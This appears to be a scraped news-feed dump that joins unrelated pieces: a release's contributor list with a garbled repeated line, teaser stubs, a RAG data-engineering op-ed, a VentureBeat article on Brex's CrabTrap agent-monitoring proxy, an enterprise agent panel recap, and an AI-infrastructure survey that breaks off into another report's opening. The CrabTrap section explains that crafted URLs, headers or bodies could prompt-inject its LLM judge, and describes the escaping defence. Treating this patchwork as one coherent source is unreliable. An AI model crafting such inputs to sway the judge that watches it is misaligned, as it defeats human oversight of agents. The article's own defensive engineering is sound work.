@Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,
@erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,
@fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,
@fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,
@Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,
@Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,
@herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,
@hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,
@infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,
@kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,
@LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,
@MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,
@plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,
@r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,
@SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,
@srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,
@UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,
@vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,
@waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,
@ziliangpeng, @zwcf5200, @zzpigpinggai

Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

Full Changelog: v2026.7.1...v2026.7.20

For nearly a decade, enterprise IT has struggled with a fundamental tension: the developer velocity of the public cloud versus the security and governance of the private data center. For a long time, conventional wisdom suggested that organizations had to compromise. To get rapid, API-driven self-service, IT had to tolerate unpredictable public cloud billing and … Continued

The post The Modern Cloud Paradigm: Bridging the Gap Between Developer Velocity and Control appeared first on VMware Cloud Foundation (VCF) Blog.

When a project fails, the immediate instinct of technical leadership is often to blame the model: The context window was too restrictive, the latency was too high, or the reasoning capabilities simply were not there.

But as data engineers building the scaffolding for these systems, we often see a different reality: The model receives the blame, but the pipeline usually contains the root cause. Production gen AI rarely fails because of model limitations alone. More often, it fails because the enterprise data foundation underneath it is fundamentally unready.

This is what I call the 'Cleanup Trap': The false belief that an organization can pipe fragmented, inconsistent, and ungoverned legacy data into a large language model (LLM) orchestrator and simply “clean it up” or patch it at the retrieval layer.

The mirage of the retrieval layer

In a standard retrieval-augmented generation (RAG) architecture, the retrieval layer is tasked with pulling relevant business context to ground the model’s responses. Because modern frameworks make it simple to stand up a vector database and a basic embedding pipeline, leadership often assumes that the data engineering problem is solved.

It is not.

When an embedding model receives raw, unvalidated data directly from operational silos, the resulting vector space inherits the structural noise, duplicate records, and conflicting states present in the source systems.

If the core data pipeline suffers from silent degradation — schema drift, missing fields, delayed change-data-capture (CDC) synchronization — that degradation cascades directly into the vector store. An AI model cannot accurately synthesize customer intelligence if the data pipeline behind it is serving stale, contradictory profiles across disparate storage layers.

No amount of prompt engineering, semantic reranking, or vector hyperparameter tuning can compensate for a broken ingestion pipeline. If the foundation is compromised, the downstream application will hallucinate, expose unauthorized context, or fail to deliver deterministic value.

Shifting from ad-hoc patching to programmatic guardrails

To break out of the 'Cleanup Trap,' enterprise data teams must stop treating data quality as a post-processing step. They need to treat data readiness for AI with the same rigor they bring to traditional transaction processing.

This requires a deliberate architectural shift toward zero-trust data ingestion, structured validation frameworks, and automated anomaly detection before data ever reaches an AI orchestration layer.

1. Harden the ingestion pipeline

Data quality checks cannot exist as a nightly batch afterthought. If an enterprise AI application relies on real-time data to assist users, validation must happen inline.

Teams should implement explicit schema validation checks at the earliest ingestion point, such as the streaming ingress layer or the bronze landing layer of a medallion architecture. If an upstream operational database mutates a schema without warning, the pipeline should quarantine anomalous payloads rather than allowing corrupted metadata to pollute downstream AI contexts.

2. Use multi-tiered algorithmic validation

Static row-count validation rules are insufficient for AI readiness. True data health requires a multi-tiered approach.

This means pairing structural verification — null checks, type conformance, and schema validation — with statistical profiling to monitor for data drift. Tracking metric deviations across feature distributions helps ensure that historical context remains stable over time.

If a pipeline suddenly processes an unexpected spike in empty string variables or structurally deviant fields, automated alerts should trigger an immediate pause before vector database updates continue.

3. Decouple security and compliancemfrom the model

An LLM should never be the arbiter of data access control. Trying to enforce row-level security or personal data filtering through system prompts is a compliance risk.

Security must be managed within the data infrastructure tier. Enterprise data foundations should enforce strict access controls, tokenization of sensitive identifiers, and rigorous lineage tracing before information is indexed into vector stores or passed into an agent’s context window.

Technical alignment: A pragmatic blueprint

For technology leaders mapping their infrastructure roadmaps, AI readiness requires evaluating data pipelines against a strict operational checklist.

• Can you trace a flawed AI response back to the exact pipeline execution, source record, and transformation step that produced it?

• Does your data lake architecture have a programmatic mechanism to segment and quarantine corrupted or non-compliant data before it reaches production feature stores?

• Are your operational systems and AI-facing vector databases tightly synchronized, or are your agents making automated decisions based on outdated snapshots?

These questions matter because production AI is not just a model deployment problem. It is a data reliability problem.

Building for the production era

The honeymoon phase of gen AI experimentation is ending. Enterprise leaders are demanding measurable, predictable, and secure business outcomes from their AI investments.

If an organization wants to transition from isolated, impressive-looking demos to resilient, production-grade AI systems, it must redirect its focus. Stop looking exclusively at the model tier.

The real competitive differentiator is not only the LLM an organization chooses. It is the engineering discipline, data governance, and pipeline resilience of the infrastructure built to feed it.

In the production era of AI, data engineering is no longer a backend function. It is the control plane for enterprise intelligence.

Naveen Ayalla is a senior data engineer.

The post Kimi K3 vs DeepSeek V4 Pro vs GLM-5.2: Open Trillion-Scale MoE Models Compared on Benchmarks, License, and Serving Cost appeared first on MarkTechPost.

The post Fine-Tuning Qwen3 with LoRA Using NVIDIA NeMo AutoModel: A Complete Single-GPU Google Colab Workflow Tutorial appeared first on MarkTechPost.

Brex set out to overcome these limitations by building an internal platform it calls CrabTrap. The open-source HTTP/HTTPS proxy intercepts all network traffic, examines policy rules, and uses a LLM-as-a-judge to decide whether agent requests should be approved or denied. 

“What we noticed was that the network layer was an untapped enforcement point,” Brex co-founder and CEO Pedro Franceschi told VentureBeat. “Every request an agent makes is an opportunity to intercept, reason about, and make a policy decision.”

The takeaway Franceschi wants IT leaders to draw: agent governance should shift from SDK-level permissions and model guardrails toward a centralized network control plane that enforces and learns from real in-the-wild agent behavior.

How Brex targeted the transport layer

The “obvious fix” (at least initially) to the agent security gap was guardrails, and much of the early work has centered on scoped tools, per-action permissions, and human-in-the-loop approvals. But as agents evolve, each new capability means there’s another API to tune or surface to audit, Franceschi noted. 

“Any agentic system with multiple tools and access to the open internet creates an immediate tension for builders: The more capable you make an agent, the more dangerous it becomes, and the safer you make it, the less useful it is,” he said. 

Existing solutions to this tradeoff were “weak”: Fine-grained API tokens help at the margins but can still be misused and constrain functionality. Semantic guardrails (such as context, skills, or prompt steering) are easily bypassed by prompt injection, especially for agents connected to the internet.

Agents can be “defanged” when given read-only access or limited toolsets, but then they can't do meaningful work, Franceschi said. On the other hand, granting broad write access and a large tool surface can result in hallucinations and real production consequences.

Model context protocol (MCP) gateways enforce policy at the protocol layer — but only for traffic using MCP. Meanwhile, guardrails from LLM providers are tied to a single model and can be “opaque” to customize with enterprise-specific policies. And powerful tools like Nvidia OpenShell offer more of a “per-sandbox egress control.”

“When we started, we hadn’t found a solution to deploying harnesses like OpenClaw safely,” Franceschi said. “Instead of waiting for the industry to catch up, we decided to own the problem and invent the necessary tools.”

Notably, they needed a platform that sat between every agent and every network request, and could make “nuanced decisions about what to allow,” he said. 

This made the transport layer a core architectural component and natural starting point, he said. 

By operating at this layer, CrabTrap is framework-agnostic, language-agnostic, and API-agnostic. It doesn't require SDK wrappers or per-tool integration. Users set HTTP_PROXY and HTTPS_PROXY in the agent's environment, and every outbound request routes through the proxy before it reaches a destination.

However, Franceschi emphasized, Brex didn't start at the transport layer because it thought it was the only answer; rather, they believe in “security by layers.”

“The transport layer was simply an underinvested one, and we saw an opportunity to add meaningful enforcement there alongside everything else,” he said. 

The LLM-as-a-judge training loop

CrabTrap combines deterministic static rules with an LLM-as-a-judge for requests that fall outside known patterns, Franceschi explained. The judge only “fires on the long tail of unfamiliar endpoints or unusual request shapes,” which for a mature agent is typically fewer than 3% of requests.

The more pressing problem was how to know that a policy is the right one? With static rules, it's “relatively straightforward” to reason about accuracy. But with an LLM judge, the system is nondeterministic, and users need confidence that the policy approves the right requests and blocks the rest.

“Our key insight was to bootstrap policy from observed behavior rather than write it from scratch,” Franceschi said. Beginning with real behavior and editing down based on real-world learnings turned out to be “dramatically more effective than starting from a blank page.”

Brex’s team built a policy builder (itself an agentic loop) that runs underlying agents in shadow mode, analyzes historic network traffic, samples representative calls, and drafts a natural-language policy that matches what the agent actually does. 

From there, they built an eval system that tests policy changes before they go live. CrabTrap compares historical audit entries against a draft policy and reports the exact changes to be made. Users can slice results by method, URL, original decision, and agreement status. 

All of this runs with concurrent judge calls, so replaying thousands of requests “takes minutes, not hours,” Franceschi said. Brex also developed a live feedback loop: Full audit trails are stored in PostgreSQL and queryable through the admin API and dashboard. In cases where a resource is continuously denied, the system can notify a human or an agent to propose a policy update for review. 

“That closes the loop between observed denials and policy refinement,” Franceschi said. 

Core challenges and roadblocks 

Of course, the build wasn’t without its challenges. A big one was latency: “Putting an LLM between an agent and every outbound API request sounds like it would grind things to a halt,” he said. 

However, it didn’t turn out to be as big a problem as expected. This was for two reasons: The LLM judge only activates on a small fraction of requests (the aforementioned 3%). Agents quickly settle into predictable traffic patterns; once observed, high-volume patterns become static rules. Second, by using small, fast models like Claude Haiku meant that, even when the judge did fire, added latency was “negligible.” This can be further reduced with local models and prompt caching, Franceschi said.

The harder and less obvious challenge was prompt injection, he said. The judge receives the full HTTP request and all content is user-controlled, so potentially, a crafted URL, header, or request body could manipulate the judge's decision. 

Brex addressed this by structuring the request as a JSON object before sending it to the model, so all user-controlled content is “escaped rather than interpolated as raw text,” Franceschi said. 

Results, and where CrabTrap might evolve

Brex tracks a few factors to measure CrabTrap’s internal impact: Engagement with agents, network traffic patterns, and net promoter scores (NPS). The most meaningful result of CrabTrap has been “organizational confidence,” Franceschi said. 

Previously, the team had “real hesitation” when it came to deploying autonomous agents broadly across business operations, because the existing guardrail options didn't provide enough assurance. 

“CrabTrap changed that calculus,” Franceschi said. They now have an enforcement layer they trust, increasing confidence around expanding agent deployment into more parts of the business and delegating more agent configuration and management to users. 

Franceschi described the policies derived from traffic as “surprisingly strong.” The team expected the policy builder to produce a “rough starting point” requiring heavy manual editing. In practice, though, pointing the platform at a few days of real traffic produced policies that matched human judgment on the “vast majority of held-out requests.”

Additionally, CrabTrap revealed how much noise agents generate. “The audit trail made this visible for the first time,” Franceschi said. They used denial logs and traffic analysis not only to tune policies, but to tighten agents themselves, remove tools, and cut out entire categories of requests that were wasting both time and tokens.

“The proxy became a discovery tool, not just an enforcement one,” he said. 

Areas for growth (and input from the open-source community)

Brex anticipates CrabTrap to continue to evolve, particularly as they have released it as open-source. “We hope the community helps shape it,” Franceschi said. 

Areas of improvement include deeper authentication functionality such as single-sign on (SSO), fine-grained role-based access control (RBAC); escalation workflows that allow agents to request additional permissions; and policy recommendations based on denial patterns.

Programmatic configuration, or developing API endpoints for “creating, forking, and applying” policies to agents, could allow the whole policy lifecycle to be automated rather than managed manually, Franceschi said. 

As for escalation, if an agent is continuously denied a given resource or endpoint, it should be able to route requests to humans or other AI agents for review and back that up with a rationale for why it needs access. 

“That turns CrabTrap from a hard enforcement boundary into something more like a managed permission system,” Franceschi said. 

Additionally, the policy was built to bootstrap from network traffic, but there is opportunity to incorporate additional signals around agent traces and resource-calling, as well as broader context on what agents are ultimately trying to accomplish. This can help produce more accurate and nuanced policies. 

Finally, there's an “open philosophical question” about the right posture for CrabTrap: Should it be a fully transparent layer that the agent itself is unaware of, or should it operate more like a “well-intentioned manager”? (that is, the agent knows about the layer and can interact with it).

The open-source community can help shape these developments, and CrabTrap will only get better with more users, Franceschi said. Brex’s agents speak to a specific set of APIs; teams using CrabTrap with different agents, services, and policy requirements will surface “edge cases and patterns we can't hit alone.”

“We have ambitious plans for where it could go, and we’d rather build in the open,” Franceschi said. 

What other builders can learn from CrabTrap

The response has been stronger than expected. CrabTrap has more than 700 stars on GitHub. Franceschi said Brex has also heard from OpenAI, Y Combinator CEO Garry Tan, and programmer Pete Steinberger, all expressing interest in deploying similar internal infrastructure.

The broader lesson: “Don't let infrastructure gaps become excuses to wait," Franceschi advised. There are “real blockers” for every enterprise looking to seriously deploy AI agents, including security concerns, lack of tooling, or unclear guardrails. 

“It's tempting to sit on your hands until the industry catches up,” he said. “The lesson from CrabTrap is that you can own those problems directly.”

The panel brought together Animesh Singh, senior director of AI platform and infrastructure at LinkedIn, Desiree Gosby, SVP of corporate technology services and technology strategy at Walmart, and Sami Ghoche, VP of applied AI at Zendesk, each describing what actually broke when they moved agents from pilot to production. Each arrived at the same conclusion from a different starting point: None of the bottlenecks they hit were model problems.

What tied their answers together was a shared premise: most enterprise infrastructure was built for how humans work, not for how agents work. The gap between those two speeds is where the real engineering happened.

Gosby put it plainly when asked what she'd learned scaling agents inside Walmart's own workforce. The goal, she said, is to make sure "engineering doesn't once again become the bottleneck for what it is we're trying to do."

Where the bottleneck actually was

Each company hit a different version of the same wall: infrastructure designed for how people work doesn't hold up once agents are doing the work instead.

At LinkedIn, the first bottleneck wasn't a model, it was Kubernetes, which assumes containers spin up on demand, a process that takes seconds. Singh said that's too slow for agents. The fix was moving from on-demand provisioning to pre-provisioned pools of containers that swap agentic workloads in and out in real time.

A second, harder problem surfaced once LinkedIn let agents control their own orchestration. A five-point evaluation system looked clean, but hallucination kept showing up anyway. Singh said the issue was structural, an LLM evaluating another LLM's output shares the same failure mode as the thing it's evaluating. 

"We built our own harness, our own control flow, and pushed the LLMs to the leaf instead of them orchestrating the loop," Singh said. Roughly 80% of the workflow is now scripted, deterministic code, with LLMs used only where reasoning is required, and each step's evidence is committed to disk before the system moves on.

Walmart's bottleneck came from success. An agent harness put directly into employees' hands went viral internally, and what Gosby called "citizen developers" began building their own agents to solve problems that once required a formal engineering roadmap. The upside was real innovation. The downside was duplication, dozens of overlapping agents with no coordination. The fix wasn't reining in the harness, it was building governance to spot duplication, promote the best version of an agent, and get it into production without engineering becoming a chokepoint.

Zendesk hit its bottleneck from the data side. Ghoche, who joined through Zendesk's acquisition of Forethought, which closed in March 2026, described sitting on what he called a public figure of 20 billion customer conversations in Zendesk's repository. The instinct is to hand that history to a large language model with a big context window and let it generate the agents a business needs. Ghoche said that doesn't work. "You can't really do that, so instead you have to really invest in the underlying data pipelines and all the data infrastructure that comes with that," he said.

The role of open source

On open source, all three leaders landed on a similar instinct: own what you can, and lean on frontier labs only where they still have a clear edge.

Ghoche said his own view is that most enterprises would prefer to own their models and infrastructure wherever that's possible, and that reasoning is what drives Zendesk's own approach. The exception is frontier reasoning work, where the labs still lead, though he said that slice of use cases is shrinking relative to everything else enterprises now do with AI.

LinkedIn's answer was to build two subsystems specifically for independence. The first is what the company calls an AI gateway, a single interface that every outbound call to a model runs through regardless of provider. The second component is a memory subsystem built to hold context independent of any model provider.

"Every single outbound call going to an LLM, whether it's on a public cloud or on-prem in our own data centers, follows the same semantics, the same API calls. We can quickly switch between different providers," Singh said. 

Walmart built its own internal gateway to stay vendor agnostic across three workload types: fully deterministic workflows, planner-and-reasoner workflows for open-ended tasks, and a hybrid of the two. Compliance-heavy work stays deterministic by design; governance, security and evaluation run through the gateway regardless of which model is on the other end. Gosby said the choice between a frontier model and an open-weight model comes down to whichever is most effective for the specific workload, not a fixed policy.

Advice for the modernization journey

Three pieces of advice came up directly, each tied to the wall a leader had already hit.

Invest in evals before anything else. Ghoche called it the thing common to every use case, internal or customer facing. 

"The thing that's common to all of these is evals. It'll force you to break the problem down, and once you have a robust set of evals, you can move a lot faster," he said, 

Own your agent harness from day one. Gosby's advice was to put the AI harness directly in employees' hands early, paired with the infrastructure to monitor what it produces. 

"It will unlock a huge amount of innovation," she said.

Build for model and context independence. Ensuring flexibility is critical for success.

"Build for independence, whether it's a frontier model of today versus an open source model of tomorrow," Singh said. "Keep that context within your enterprise so that you can reuse it when you ship the model or the harness tomorrow," Singh said.

This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.

The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.

Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.

At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.

Finding 1: Confident and wrong

More than half have traced agent errors to bad context

We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.

This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know.

The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.

Finding 2: RAG is the default context source

Retrieval feeds more agents than any other method

We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.

Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.

One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.

Finding 3: Provider-native retrieval already leads the vector databases

OpenAI file search and vertex AI search top the dedicated tools

We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.

The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.

The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.

Finding 4: But they say they want to keep best-of-breed

A plurality resist consolidating onto a provider’s native stack

We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.

Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.

Finding 5: Hybrid retrieval is the consensus bet

Vector-only retrieval is already seen as insufficient

We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.

The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.

Finding 6: The governed context layer is being built now

Most run or are building a semantic layer — few in production

We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.

The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.

Finding 7: Bought on ingestion and simplicity, watched for correctness

Selection favors operability; monitoring favors correctness and security

We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.

Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%).

Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.

Finding 8: A retrieval reshuffle is coming

A majority plan to change providers — and the vector specialists are gaining interest

We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.

The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.

The bottom line: A context gap that more retrieval alone won’t close

Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.

The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.

This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.

